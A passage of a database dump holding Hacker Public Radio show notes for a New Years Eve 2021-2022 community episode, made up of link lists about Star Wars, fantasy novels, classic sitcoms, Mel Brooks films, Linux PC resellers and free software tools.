href=\"https://nationalmotormuseum.org.uk/ufaqs/why-do-we-drive-on-the-left-side-of-the-road-in-the-uk-but-most-other-countries-drive-on-the-right/\" class=\"uri\">https://nationalmotormuseum.org.uk/ufaqs/why-do-we-drive-on-the-left-side-of-the-road-in-the-uk-but-most-other-countries-drive-on-the-right/</a></p>\n<p>The War of 1812</p>\n<p><a href=\"https://www.history.com/topics/war-of-1812/war-of-1812\" class=\"uri\">https://www.history.com/topics/war-of-1812/war-of-1812</a></p>\n<p>American Doesn\'t Use the Metric System Because of Pirates?</p>\n<p><a href=\"https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/19/pirates-yes-pirates-may-be-why-the-u-s-doesnt-use-the-metric-system/\" class=\"uri\">https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/19/pirates-yes-pirates-may-be-why-the-u-s-doesnt-use-the-metric-system/</a></p>\n<p>Transcontinental Railroad</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Transcontinental_railroad\" class=\"uri\">https://en.wikipedia.org/wiki/Transcontinental_railroad</a></p>\n<p>Dutch East India Company</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Dutch_East_India_Company\" class=\"uri\">https://en.wikipedia.org/wiki/Dutch_East_India_Company</a></p>\n<p>Dutch Saint Nicholas / Christmas In The Netherlands</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Sinterklaas\" class=\"uri\">https://en.wikipedia.org/wiki/Sinterklaas</a></p>\n<p><a href=\"https://www.whychristmas.com/cultures/netherlands\" class=\"uri\">https://www.whychristmas.com/cultures/netherlands</a></p>\n<p>Rio Grande River Damns</p>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_Rio_Grande_dams_and_diversions\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_Rio_Grande_dams_and_diversions</a></p>\n<p>Hurricane Harvey &amp; Katrina</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hurricane_Katrina\" class=\"uri\">https://en.wikipedia.org/wiki/Hurricane_Katrina</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hurricane_Harvey\" class=\"uri\">https://en.wikipedia.org/wiki/Hurricane_Harvey</a></p>\n<p>How Much Of The Netherlands Is Below Sea Level</p>\n<p><a href=\"https://www.holland.com/global/tourism/information/general/dutch-water-facts.htm\" class=\"uri\">https://www.holland.com/global/tourism/information/general/dutch-water-facts.htm</a></p>\n<p>Chicago Is Sinking</p>\n<p><a href=\"https://www.smithsonianmag.com/smart-news/chicago-can-blame-glaciers-sinking-city-180971643/\" class=\"uri\">https://www.smithsonianmag.com/smart-news/chicago-can-blame-glaciers-sinking-city-180971643/</a></p>\n<p><a href=\"https://www.nytimes.com/interactive/2021/07/07/climate/chicago-river-lake-michigan.html\" class=\"uri\">https://www.nytimes.com/interactive/2021/07/07/climate/chicago-river-lake-michigan.html</a></p>\n<p>Rotterdamn - The Largest Harbor in Europe</p>\n<p><a href=\"https://www.shipafreight.com/knowledge-series/largest-ports-in-europe/\" class=\"uri\">https://www.shipafreight.com/knowledge-series/largest-ports-in-europe/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Port_of_Rotterdam\" class=\"uri\">https://en.wikipedia.org/wiki/Port_of_Rotterdam</a></p>\n<p>Zeeland</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Zeeland\" class=\"uri\">https://en.wikipedia.org/wiki/Zeeland</a></p>\n<p><a href=\"https://www.holland.com/global/tourism/destinations/provinces/zeeland.htm\" class=\"uri\">https://www.holland.com/global/tourism/destinations/provinces/zeeland.htm</a></p>\n<p>Frisian Languages</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Frisian_languages\" class=\"uri\">https://en.wikipedia.org/wiki/Frisian_languages</a></p>\n<p><a href=\"https://www.babbel.com/en/magazine/what-is-frisian\" class=\"uri\">https://www.babbel.com/en/magazine/what-is-frisian</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3677,'2022-09-06','2021-2022 New Years Show Part 4',11653,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-4\">Part 4</h3>\n<p>Star Wars : The Bad Batch</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars:_The_Bad_Batch\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars:_The_Bad_Batch</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-the-bad-batch\" class=\"uri\">https://www.starwars.com/series/star-wars-the-bad-batch</a></p>\n<p>Star Wars Rebels</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars_Rebels\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars_Rebels</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-rebels\" class=\"uri\">https://www.starwars.com/series/star-wars-rebels</a></p>\n<p>Star Wars - The Clone Wars</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars:_The_Clone_Wars_(2008_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars:_The_Clone_Wars_(2008_TV_series)</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-the-clone-wars\" class=\"uri\">https://www.starwars.com/series/star-wars-the-clone-wars</a></p>\n<p>Star Wars - Book Of Boba Fett</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett\" class=\"uri\">https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett</a></p>\n<p><a href=\"https://www.starwars.com/series/the-book-of-boba-fett\" class=\"uri\">https://www.starwars.com/series/the-book-of-boba-fett</a></p>\n<p>Father Ted</p>\n<p><a href=\"https://www.imdb.com/title/tt0111958/\" class=\"uri\">https://www.imdb.com/title/tt0111958/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Father_Ted\" class=\"uri\">https://en.wikipedia.org/wiki/Father_Ted</a></p>\n<p>Gary Gygax - Creator of Dungeons &amp; Dragons</p>\n<p><a href=\"https://dungeons.fandom.com/wiki/Gary_Gygax\" class=\"uri\">https://dungeons.fandom.com/wiki/Gary_Gygax</a></p>\n<p><a href=\"https://www.wired.com/2008/03/dungeon-master-life-legacy-gary-gygax/\" class=\"uri\">https://www.wired.com/2008/03/dungeon-master-life-legacy-gary-gygax/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Gary_Gygax\" class=\"uri\">https://en.wikipedia.org/wiki/Gary_Gygax</a></p>\n<p>Tolkien, The Hobbit, Lord Of The Rings</p>\n<p><a href=\"https://www.tolkiensociety.org/author/biography/\" class=\"uri\">https://www.tolkiensociety.org/author/biography/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/J._R._R._Tolkien\" class=\"uri\">https://en.wikipedia.org/wiki/J._R._R._Tolkien</a></p>\n<p><a href=\"http://tolkiengateway.net/wiki/The_Hobbit\" class=\"uri\">http://tolkiengateway.net/wiki/The_Hobbit</a></p>\n<p><a href=\"http://tolkiengateway.net/wiki/Lord_of_the_rings\" class=\"uri\">http://tolkiengateway.net/wiki/Lord_of_the_rings</a></p>\n<p>The Wheel Of Times (Book series and TV show)</p>\n<p><a href=\"https://stoneblackfiction.com/2020/07/26/book-review-the-wheel-of-time-a-complete-series-review/\" class=\"uri\">https://stoneblackfiction.com/2020/07/26/book-review-the-wheel-of-time-a-complete-series-review/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wheel_of_Time\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wheel_of_Time</a></p>\n<p><a href=\"https://www.imdb.com/title/tt7462410/\" class=\"uri\">https://www.imdb.com/title/tt7462410/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wheel_of_Time_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wheel_of_Time_(TV_series)</a></p>\n<p>Good Omens TV Show</p>\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\n<p>Colour Of Magic - TV &amp; Book</p>\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Colour_of_Magic\" class=\"uri\">https://en.wikipedia.org/wiki/The_Colour_of_Magic</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1079959/\" class=\"uri\">https://www.imdb.com/title/tt1079959/</a></p>\n<p>Star Labs - UK Linux friendly PC reseller</p>\n<p><a href=\"https://us.starlabs.systems/\" class=\"uri\">https://us.starlabs.systems/</a></p>\n<p>Dell XPS 13 Developer Edition</p>\n<p><a href=\"https://www.engadget.com/dells-xps-13-plus-developer-edition-is-the-first-laptop-certified-for-ubuntu-2204-lts-082022945.html\" class=\"uri\">https://www.engadget.com/dells-xps-13-plus-developer-edition-is-the-first-laptop-certified-for-ubuntu-2204-lts-082022945.html</a></p>\n<p>Juno Is A Roman Goddess</p>\n<p><a href=\"https://mythopedia.com/topics/juno\" class=\"uri\">https://mythopedia.com/topics/juno</a></p>\n<p>Juno Computers - UK/ USA - more Linux PCs for sale</p>\n<p><a href=\"https://junocomputers.com/uk/\" class=\"uri\">https://junocomputers.com/uk/</a></p>\n<p>Juno Is Also a Moon of Jupiter</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Moons_of_Jupiter\" class=\"uri\">https://en.wikipedia.org/wiki/Moons_of_Jupiter</a></p>\n<p>Tuxedo Computers - German Linux PC Reseller</p>\n<p><a href=\"https://www.tuxedocomputers.com/\" class=\"uri\">https://www.tuxedocomputers.com/</a></p>\n<p>Arthur C Clarke\'s three laws - Any sufficiently advanced technology is indistinguishable from magic</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Clarke%27s_three_laws\" class=\"uri\">https://en.wikipedia.org/wiki/Clarke%27s_three_laws</a></p>\n<p>Axe of The Dwarvish Lords - Dungeons &amp; Dragons Axe That Turns Wielder Into a Dwarf</p>\n<p><a href=\"http://dnd5e.wikidot.com/wondrous-items:axe-of-the-dwarvish-lords\" class=\"uri\">http://dnd5e.wikidot.com/wondrous-items:axe-of-the-dwarvish-lords</a></p>\n<p>Fire Sign Theater</p>\n<p><a href=\"https://wfmu.org/playlists/FT\" class=\"uri\">https://wfmu.org/playlists/FT</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Firesign_Theatre\" class=\"uri\">https://en.wikipedia.org/wiki/The_Firesign_Theatre</a></p>\n<p><a href=\"https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours\" class=\"uri\">https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours</a></p>\n<p>Magic The Gathering</p>\n<p><a href=\"https://magic.wizards.com/en\" class=\"uri\">https://magic.wizards.com/en</a></p>\n<p>(in reference to Jim Butcher, the Dresden Files series): Joe, Wikipedia now says that there are to be 22 books followed by a \"big apocalyptic trilogy\"<br />\n[22:28:36] (Channel) Moss: <a href=\"https://deadline.com/2018/10/the-dresden-files-fantasy-novels-optioned-fox21-tv-studios-series-development-1202476632/\" class=\"uri\">https://deadline.com/2018/10/the-dresden-files-fantasy-novels-optioned-fox21-tv-studios-series-development-1202476632/</a></p>\n<p>Lively discussion of speculative fiction and worldbuilding - RIP Terry Pratchett</p>\n<p><a href=\"https://jerryjenkins.com/worldbuilding/\" class=\"uri\">https://jerryjenkins.com/worldbuilding/</a></p>\n<p><a href=\"https://writersedit.com/fiction-writing/the-ultimate-guide-to-world-building-how-to-write-fantasy-sci-fi-and-real-life-worlds/\" class=\"uri\">https://writersedit.com/fiction-writing/the-ultimate-guide-to-world-building-how-to-write-fantasy-sci-fi-and-real-life-worlds/</a></p>\n<p><a href=\"https://www.reddit.com/r/worldbuilding/\" class=\"uri\">https://www.reddit.com/r/worldbuilding/</a></p>\n<p>Discussed a current creative project of Ken Fallon at length - discussed the importance of using FOSS for longevity of creative projects to avoid getting locked out by proprietary file formats.</p>\n<p>Ken uses paper + Google Docs... reminded of the Google Graveyard : Google Graveyard - <a href=\"https://killedbygoogle.com/\" class=\"uri\">https://killedbygoogle.com/</a></p>\n<p>Game Of Thrones Books</p>\n<p><a href=\"https://en.wikipedia.org/wiki/A_Song_of_Ice_and_Fire\" class=\"uri\">https://en.wikipedia.org/wiki/A_Song_of_Ice_and_Fire</a></p>\n<p>Considerations for storytelling :</p>\n<p>The Writer\'s Journey - <a href=\"https://en.wikipedia.org/wiki/The_Writer%27s_Journey:_Mythic_Structure_for_Writers\" class=\"uri\">https://en.wikipedia.org/wiki/The_Writer%27s_Journey:_Mythic_Structure_for_Writers</a></p>\n<p>The Seven Basic Plots - <a href=\"https://en.wikipedia.org/wiki/The_Seven_Basic_Plots\" class=\"uri\">https://en.wikipedia.org/wiki/The_Seven_Basic_Plots</a></p>\n<p>The Hero\'s Journey - <a href=\"https://en.wikipedia.org/wiki/Hero%27s_journey\" class=\"uri\">https://en.wikipedia.org/wiki/Hero%27s_journey</a></p>\n<p>Also, not enough people draw upon the 100 Year\'s War or Italian city-states period for inspiration - which is the secret sauce for Game of Thrones</p>\n<p>Linked notes, for building webs of information. Crossplaftorm, Linux, Mac, Windows</p>\n<p>Should try worldbuilding with FOSS :</p>\n<p>Spotiflyer on F-Droid</p>\n<p><a href=\"https://f-droid.org/packages/com.shabinder.spotiflyer/\" class=\"uri\">https://f-droid.org/packages/com.shabinder.spotiflyer/</a></p>\n<p>Youtube-DL</p>\n<p><a href=\"https://youtube-dl.org/\" class=\"uri\">https://youtube-dl.org/</a></p>\n<p>Mailspring</p>\n<p><a href=\"https://getmailspring.com/\" class=\"uri\">https://getmailspring.com/</a></p>\n<p>Obsdian - <a href=\"https://obsidian.md/\" class=\"uri\">https://obsidian.md/</a><br />\nLogseq - <a href=\"https://logseq.com/\" class=\"uri\">https://logseq.com/</a><br />\nZettlr - <a href=\"https://www.zettlr.com/download\" class=\"uri\">https://www.zettlr.com/download</a></p>\n<p>Writing :</p>\n<p>Libre Office - <a href=\"https://www.libreoffice.org/\" class=\"uri\">https://www.libreoffice.org/</a></p>\n<p>Art :<br />\nGIMP - <a href=\"https://www.gimp.org/\" class=\"uri\">https://www.gimp.org/</a><br />\nKrita - <a href=\"https://krita.org/en/\" class=\"uri\">https://krita.org/en/</a><br />\n</p>\n<p>Good Evernote alternative :</p>\n<p>Joplin - <a href=\"https://joplinapp.org\" class=\"uri\">https://joplinapp.org</a></p>\n<p>Glimpse - failed politically motivated GIMP fork - <a href=\"https://news.itsfoss.com/glimpse-gimp-fork-archived/\" class=\"uri\">https://news.itsfoss.com/glimpse-gimp-fork-archived/</a></p>\n<p>The current favourite Audacity alternative - <a href=\"https://tenacityaudio.org/\" class=\"uri\">https://tenacityaudio.org/</a></p>\n<p>Youtube Removes Dislikes</p>\n<p><a href=\"https://techcrunch.com/2021/11/10/youtube-is-removing-the-dislike-count-on-all-videos-across-its-platform/\" class=\"uri\">https://techcrunch.com/2021/11/10/youtube-is-removing-the-dislike-count-on-all-videos-across-its-platform/</a></p>\n<p><a href=\"https://www.premiumbeat.com/blog/youtube-removes-dislike-count/\" class=\"uri\">https://www.premiumbeat.com/blog/youtube-removes-dislike-count/</a></p>\n<p>If Terry Pratchett wrote 42 books, the universe would explode</p>\n<p><a href=\"https://www.terrypratchettbooks.com/\" class=\"uri\">https://www.terrypratchettbooks.com/</a></p>\n<p>Terry Goodkind - Sword of Truth - don\'t go past the second book</p>\n<p><a href=\"https://www.terrygoodkind.com/\" class=\"uri\">https://www.terrygoodkind.com/</a></p>\n<p>Orson Scott Card Offical Website</p>\n<p><a href=\"http://www.hatrack.com/\" class=\"uri\">http://www.hatrack.com/</a></p>\n<p>Orson Scott Card Interview With WIred Magazine - Ender\'s Game</p>\n<p><a href=\"https://www.wired.com/2013/10/cardqa/\" class=\"uri\">https://www.wired.com/2013/10/cardqa/</a></p>\n<p>Ender\'s Game as well - don\'t go past the second book</p>\n<p>Ender\'s Shadow</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ender%27s_Shadow\" class=\"uri\">https://en.wikipedia.org/wiki/Ender%27s_Shadow</a></p>\n<p>Alvin Maker</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Tales_of_Alvin_Maker\" class=\"uri\">https://en.wikipedia.org/wiki/The_Tales_of_Alvin_Maker</a></p>\n<p>Lost Gate, Gate Thief, and Gatefather - part of Mither Mages trilogy by Orson Scott Card</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Lost_Gate\" class=\"uri\">https://en.wikipedia.org/wiki/The_Lost_Gate</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Gate_Thief\" class=\"uri\">https://en.wikipedia.org/wiki/The_Gate_Thief</a></p>\n<p>Artemis Fowl</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Artemis_Fowl\" class=\"uri\">https://en.wikipedia.org/wiki/Artemis_Fowl</a></p>\n<p>Cadfael Chronicles</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Cadfael_Chronicles\" class=\"uri\">https://en.wikipedia.org/wiki/The_Cadfael_Chronicles</a></p>\n<p>The Hunger Games</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Hunger_Games\" class=\"uri\">https://en.wikipedia.org/wiki/The_Hunger_Games</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1392170/\" class=\"uri\">https://www.imdb.com/title/tt1392170/</a> (movie)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Hunger_Games_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Hunger_Games_(film)</a></p>\n<p><a href=\"https://www.lionsgate.com/franchises/the-hunger-games\" class=\"uri\">https://www.lionsgate.com/franchises/the-hunger-games</a></p>\n<p><a href=\"https://brantsteele.net/hungergames/disclaimer.php\" class=\"uri\">https://brantsteele.net/hungergames/disclaimer.php</a> - The Hunger Games Simulator</p>\n<p>Twilight is garbage?</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Twilight_(novel_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Twilight_(novel_series)</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1099212/\" class=\"uri\">https://www.imdb.com/title/tt1099212/</a></p>\n<p><a href=\"https://www.reddit.com/r/twilight/comments/gq7uil/why_does_everyone_think_twilight_is_so_bad_a_rant/\" class=\"uri\">https://www.reddit.com/r/twilight/comments/gq7uil/why_does_everyone_think_twilight_is_so_bad_a_rant/</a> - thoughts from Reddit</p>\n<p><a href=\"https://www.cinemablend.com/news/2570595/the-twilight-books-vs-movies-major-differences-from-stephenie-meyers-novels-and-the-films\" class=\"uri\">https://www.cinemablend.com/news/2570595/the-twilight-books-vs-movies-major-differences-from-stephenie-meyers-novels-and-the-films</a> (How the books and movies differ)</p>\n<p>Jar Jar Binks is a Sith Lord aka The Darth Jar Theory</p>\n<p>theory goes that by prolonging the Clone Wars and helping Doku escape, he enabled the Empire to continue. Also, Palpatine was helped into power by his machinations.</p>\n<p><a href=\"https://insidethemagic.net/2021/10/jar-jar-binks-sith-al1/\" class=\"uri\">https://insidethemagic.net/2021/10/jar-jar-binks-sith-al1/</a></p>\n<p><a href=\"https://screenrant.com/star-wars-details-prove-darth-jar-jar-theory/\" class=\"uri\">https://screenrant.com/star-wars-details-prove-darth-jar-jar-theory/</a></p>\n<p><a href=\"https://swfanon.fandom.com/wiki/Darth_Jar_Jar_(Beethoven4ever)\" class=\"uri\">https://swfanon.fandom.com/wiki/Darth_Jar_Jar_(Beethoven4ever)</a></p>\n<p><a href=\"https://www.cbr.com/star-wars-darth-jar-jar-theories-benefit-hated-character/\" class=\"uri\">https://www.cbr.com/star-wars-darth-jar-jar-theories-benefit-hated-character/</a></p>\n<p>Star Wars Droids</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Star_Wars:_Droids:_The_Adventures_of_R2-D2_and_C-3PO\" class=\"uri\">https://starwars.fandom.com/wiki/Star_Wars:_Droids:_The_Adventures_of_R2-D2_and_C-3PO</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0088510/\" class=\"uri\">https://www.imdb.com/title/tt0088510/</a></p>\n<p><a href=\"https://youtu.be/ygr8wsqrhtI\" class=\"uri\">https://youtu.be/ygr8wsqrhtI</a></p>\n<p>Star Wars Holiday Special</p>\n<p><a href=\"https://www.starwarsholidayspecial.com/\" class=\"uri\">https://www.starwarsholidayspecial.com/</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0193524/\" class=\"uri\">https://www.imdb.com/title/tt0193524/</a></p>\n<p><a href=\"https://youtu.be/6hH8rxarVG8\" class=\"uri\">https://youtu.be/6hH8rxarVG8</a></p>\n<p>Yuuzhan Vong</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Yuuzhan_Vong\" class=\"uri\">https://starwars.fandom.com/wiki/Yuuzhan_Vong</a></p>\n<p>Chiss</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Chiss/Legends\" class=\"uri\">https://starwars.fandom.com/wiki/Chiss/Legends</a></p>\n<p>Joker (movie)</p>\n<p><a href=\"https://www.imdb.com/title/tt7286456/\" class=\"uri\">https://www.imdb.com/title/tt7286456/</a></p>\n<p>Also Heath Ledger is the best Joker ever says Honkey Magoo</p>\n<p>Star Wars - The First Order</p>\n<p><a href=\"https://starwars.fandom.com/wiki/First_Order\" class=\"uri\">https://starwars.fandom.com/wiki/First_Order</a></p>\n<p>Jedi Praxeum aka Jedi School</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Jedi_Praxeum\" class=\"uri\">https://starwars.fandom.com/wiki/Jedi_Praxeum</a></p>\n<p>Marvel Multiverse</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Multiverse_(Marvel_Comics)\" class=\"uri\">https://en.wikipedia.org/wiki/Multiverse_(Marvel_Comics)</a></p>\n<p>The Simpsons</p>\n<p><a href=\"https://simpsons.fandom.com/wiki/Simpsons_Wiki\" class=\"uri\">https://simpsons.fandom.com/wiki/Simpsons_Wiki</a></p>\n<p>The Simpsons Predictions</p>\n<p><a href=\"https://www.joe.co.uk/entertainment/the-definitive-list-of-everything-the-simpsons-predicted-that-shockingly-came-true-305627\" class=\"uri\">https://www.joe.co.uk/entertainment/the-definitive-list-of-everything-the-simpsons-predicted-that-shockingly-came-true-305627</a></p>\n<p><a href=\"https://collider.com/predictions-the-simpsons-came-true/\" class=\"uri\">https://collider.com/predictions-the-simpsons-came-true/</a></p>\n<p>South Park</p>\n<p><a href=\"https://southpark.cc.com/\" class=\"uri\">https://southpark.cc.com/</a></p>\n<p>Dick Van Dyke Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0054533/\" class=\"uri\">https://www.imdb.com/title/tt0054533/</a></p>\n<p><a href=\"https://www.metv.com/shows/the-dick-van-dyke-show\" class=\"uri\">https://www.metv.com/shows/the-dick-van-dyke-show</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/dick-van-dyke-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/dick-van-dyke-show/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Dick_Van_Dyke_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Dick_Van_Dyke_Show</a></p>\n<p>Mary Tyler Moore Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0065314/\" class=\"uri\">https://www.imdb.com/title/tt0065314/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Mary_Tyler_Moore_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Mary_Tyler_Moore_Show</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1970s/mary-tyler-moore-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1970s/mary-tyler-moore-show/</a></p>\n<p>Bewitched</p>\n<p><a href=\"https://www.imdb.com/title/tt0057733/\" class=\"uri\">https://www.imdb.com/title/tt0057733/</a></p>\n<p><a href=\"https://tubitv.com/series/300006608/bewitched\" class=\"uri\">https://tubitv.com/series/300006608/bewitched</a></p>\n<p><a href=\"https://nostalgiacentral.com/?s=bewitched\" class=\"uri\">https://nostalgiacentral.com/?s=bewitched</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/bewitched-2/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/bewitched-2/</a></p>\n<p>McHale\'s Navy</p>\n<p><a href=\"https://www.imdb.com/title/tt0055689/\" class=\"uri\">https://www.imdb.com/title/tt0055689/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/McHale%27s_Navy\" class=\"uri\">https://en.wikipedia.org/wiki/McHale%27s_Navy</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/mchales-navy/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/mchales-navy/</a></p>\n<p>F Troop</p>\n<p><a href=\"https://www.imdb.com/title/tt0058800/\" class=\"uri\">https://www.imdb.com/title/tt0058800/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/f-troop/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/f-troop/</a></p>\n<p>Hogan\'s Heroes</p>\n<p><a href=\"https://hogansheroes.fandom.com/wiki/Hogan%27s_Heroes\" class=\"uri\">https://hogansheroes.fandom.com/wiki/Hogan%27s_Heroes</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0058812/\" class=\"uri\">https://www.imdb.com/title/tt0058812/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/hogans-heroes/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/hogans-heroes/</a></p>\n<p>Phil Silver\'s Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0047763/\" class=\"uri\">https://www.imdb.com/title/tt0047763/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1950s/phil-silvers-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1950s/phil-silvers-show/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Phil_Silvers_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Phil_Silvers_Show</a></p>\n<p>Sgt. Bilko (movie with Steve Martin)</p>\n<p><a href=\"https://www.imdb.com/title/tt0117608/\" class=\"uri\">https://www.imdb.com/title/tt0117608/</a></p>\n<p>Adam Sandler</p>\n<p><a href=\"https://www.imdb.com/name/nm0001191/\" class=\"uri\">https://www.imdb.com/name/nm0001191/</a></p>\n<p>Brooklyn 99</p>\n<p><a href=\"https://www.imdb.com/title/tt2467372/\" class=\"uri\">https://www.imdb.com/title/tt2467372/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Brooklyn_Nine-Nine\" class=\"uri\">https://en.wikipedia.org/wiki/Brooklyn_Nine-Nine</a></p>\n<p>Idiocracy</p>\n<p><a href=\"https://www.imdb.com/title/tt0387808/\" class=\"uri\">https://www.imdb.com/title/tt0387808/</a></p>\n<p><a href=\"https://archive.org/details/Idiocracy_201507\" class=\"uri\">https://archive.org/details/Idiocracy_201507</a></p>\n<p>Blazing Saddles</p>\n<p><a href=\"https://www.imdb.com/title/tt0071230/\" class=\"uri\">https://www.imdb.com/title/tt0071230/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blazing_Saddles\" class=\"uri\">https://en.wikipedia.org/wiki/Blazing_Saddles</a></p>\n<p><a href=\"https://www.rollingstone.com/tv-movies/tv-movie-features/mel-brooks-why-blazing-saddles-is-the-funniest-movie-ever-made-252004/\" class=\"uri\">https://www.rollingstone.com/tv-movies/tv-movie-features/mel-brooks-why-blazing-saddles-is-the-funniest-movie-ever-made-252004/</a></p>\n<p>Young Frankenstein</p>\n<p><a href=\"https://www.imdb.com/title/tt0072431/\" class=\"uri\">https://www.imdb.com/title/tt0072431/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Young_Frankenstein\" class=\"uri\">https://en.wikipedia.org/wiki/Young_Frankenstein</a></p>\n<p><a href=\"https://www.cinemablend.com/news/2573686/young-frankenstein-behind-the-scenes-facts-about-the-mel-brooks-movie\" class=\"uri\">https://www.cinemablend.com/news/2573686/young-frankenstein-behind-the-scenes-facts-about-the-mel-brooks-movie</a></p>\n<p>Silent Movie</p>\n<p><a href=\"https://www.imdb.com/title/tt0075222/\" class=\"uri\">https://www.imdb.com/title/tt0075222/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Silent_Movie\" class=\"uri\">https://en.wikipedia.org/wiki/Silent_Movie</a></p>\n<p>High Anxiety</p>\n<p><a href=\"https://www.imdb.com/title/tt0076141/\" class=\"uri\">https://www.imdb.com/title/tt0076141/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/High_Anxiety\" class=\"uri\">https://en.wikipedia.org/wiki/High_Anxiety</a></p>\n<p>Spaceballs</p>\n<p><a href=\"https://www.imdb.com/title/tt0094012/\" class=\"uri\">https://www.imdb.com/title/tt0094012/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Spaceballs\" class=\"uri\">https://en.wikipedia.org/wiki/Spaceballs</a></p>\n<p>Robin Hood : Men In Tights</p>\n<p><a href=\"https://www.imdb.com/title/tt0107977/\" class=\"uri\">https://www.imdb.com/title/tt0107977/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Robin_Hood:_Men_in_Tights\" class=\"uri\">https://en.wikipedia.org/wiki/Robin_Hood:_Men_in_Tights</a></p>\n<p>Robin Hood Prince Of Thieves</p>\n<p><a 